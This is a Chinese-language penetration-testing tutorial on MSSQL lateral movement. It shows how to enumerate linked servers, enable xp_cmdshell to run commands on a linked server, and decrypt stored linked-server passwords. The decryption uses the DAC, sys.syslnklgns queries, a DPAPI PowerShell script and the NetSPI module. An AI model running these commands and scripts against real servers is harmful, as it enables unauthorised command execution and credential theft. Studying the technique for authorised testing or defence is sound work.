MSSQL 横向移动

1. 链接服务器

链接服务器可以吧server A 链接到 server B,在server A 上远程执行针对 server B 数据库进行查询、链接到远程服务器的时候,需要进行身份验证

三种方法可以远程执行对 linked servers 查询:

  • OPENQUERY :在预定义的链接服务器上执行查询 (返回一个结果集)
  • EXECUTE AT :在预定义的链接服务器上执行查询。(返回多个结果集)
  • OPENROWSET :连接远程服务器并执行查询 (更加ad-hoc的方式,需要一个链接字符串参数)

1.1. 枚举

1.1.1. 枚举链接服务器

使用 sp_linkedservers 存储过程可以枚举链接服务器

EXEC sp_linkedservers;

Pasted image 20260316142946.png
这里有两个服务器 SQL01 (当前连接的服务器),以及 SQL02 (链接到此服务器的远程服务器)

1.1.2. 枚举在服务器上是否映射为sysadmin

如果我们希望在链接服务器上执行命令,那么我们需要拥有足够的权限来启用对应的存储过程

SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

Pasted image 20260316143539.png

1.2. 查询

1.2.1. 使用OPENQUERY 在链接服务器上进行查询

SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');

在SQL01上使用OPENQUERY查询SQL02的数据

1.2.2. 使用 EXECUTE AT 执行命令

EXECUTE ('EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami /priv";') AT SQL02;

Pasted image 20260316144130.png

  • MSSQL Server 服务正在以默认的 NT Service\mssqlserver 用户身份运行
  • 此用户有SeImpersonatePrivilege权限

2. 解密链接服务器密码(后渗透)

当攻陷了一台配置了链接服务器的MSSQL Server实例后,我们可以从中获取到向这些链接服务器进行身份验证的凭据(MSSQL Server身份验证凭据) 我们需要一个 sysadmin角色的登录账户在其服务器上具有 local administrator 权限的账户

但是如果你有本地管理员,而没有sysadmin角色权限, 可以看这里来进行bypass

2.1. 手动解密

2.1.1. 通过DAC使用SSMS进行连接

向链接服务器进行身份验证的数据存储在sys.syslnklgns表中,必须使用 dedicated administrator connection (DAC)才能访问到此表,默认情况下,DAC 只能在本地创建(由远程管理员连接配置选项控制)我们可以通过 DAC 使用 SSMS 进行连接
链接过程

  • 关闭所有已打开的连接
  • 从文件菜单中选择 Database Engine Query
  • 输入 ADMIN:SQL02 作为服务器名称
  • 输入具有 sysadmin 角色的登录凭据。在这种情况下,我们将使用 Windows Authentication 作为 SQL02\Administrator

6.gif

2.1.2. 查询加密的凭据

SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;

Pasted image 20260316151419.png

存储在 sys.syslnklgns 中的凭据使用服务主密钥进行对称加密,该密钥存储在 sys.key_encryptions 表中,其 key_id 值为 102

SELECT * FROM sys.key_encryptions;

Pasted image 20260316151547.png

  • 这里会发现有两个102的key_id,他们都是用DPAPI加密的
  • 第一个是在当前用户的上下文中加密的
  • 第二个是在本地机器的上下文中加密的

2.1.3. 解密服务主密钥

我们可以使用 [System.Security.DataProtection]::Unprotect函数解密服务主密钥,但还需要先获取MSSQL Server 在保护数据时使用的 entropy bytes,我们可以在注册表中获取

PS C:\Users\Administrator> Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"


Entropy      : {58, 178, 73, 210...}
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL
               Server\MSSQL16.MSSQLSERVER\Security
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL
               Server\MSSQL16.MSSQLSERVER
PSChildName  : Security
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

然后通过以下脚本解密 Service Master Key ,其中 $encryptedData 被设置为先前查询返回的值

$encryptedData = "0xFFFFFFFF500100<SNIP>";
$encryptedData = $encryptedData.Substring(18); # Remove 0x and padding
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');

$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;

Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK|ForEach-Object ToString X2) -join '');

然后可以获取到16进制编码、解密后的服务主密码,我们可以用其来解密之前的凭据。

  • MSSQL Server 2012及以后:服务主密钥使用AES加密、长度16字节
  • MSSQL Server 2012之前: 服务主密钥使用3DES加密,长度8字节

2.1.4. 解密AES

然后解密AES即可

  • Key:服务主密钥
  • IV:ws_user 的 pwdhash 的前 16 个字节(填充后)
  • Ciphertext : ws_user 的 pwdhash 的剩余字节

可以使用下面的查询语句直接获取到 IV和密文

SELECT
    name,
    SUBSTRING(pwdhash, 5, 16) AS 'IV',
    SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;

Pasted image 20260316153022.png
然后可以进行密码喷洒

2.2. 使用Get-MSSQLLinkPassword 脚本解密

https://github.com/NetSPI/Powershell-Modules/blob/master/Get-MSSQLLinkPasswords.psm1
此模块可以简化我们的操作,通过SQL02的本地管理员凭据RDP登录到SQL02

PS C:\Users\Administrator> cd .\Desktop\
PS C:\Users\Administrator\Desktop> Import-Module .\Get-MSSQLLinkPasswords.psm1
PS C:\Users\Administrator\Desktop> Get-MSSQLLinkPasswords

Instance    Linkserver User    Password
--------    ---------- ----    --------
MSSQLSERVER SQL01      ws_user yjwx****N8mCpB


PS C:\Users\Administrator\Desktop>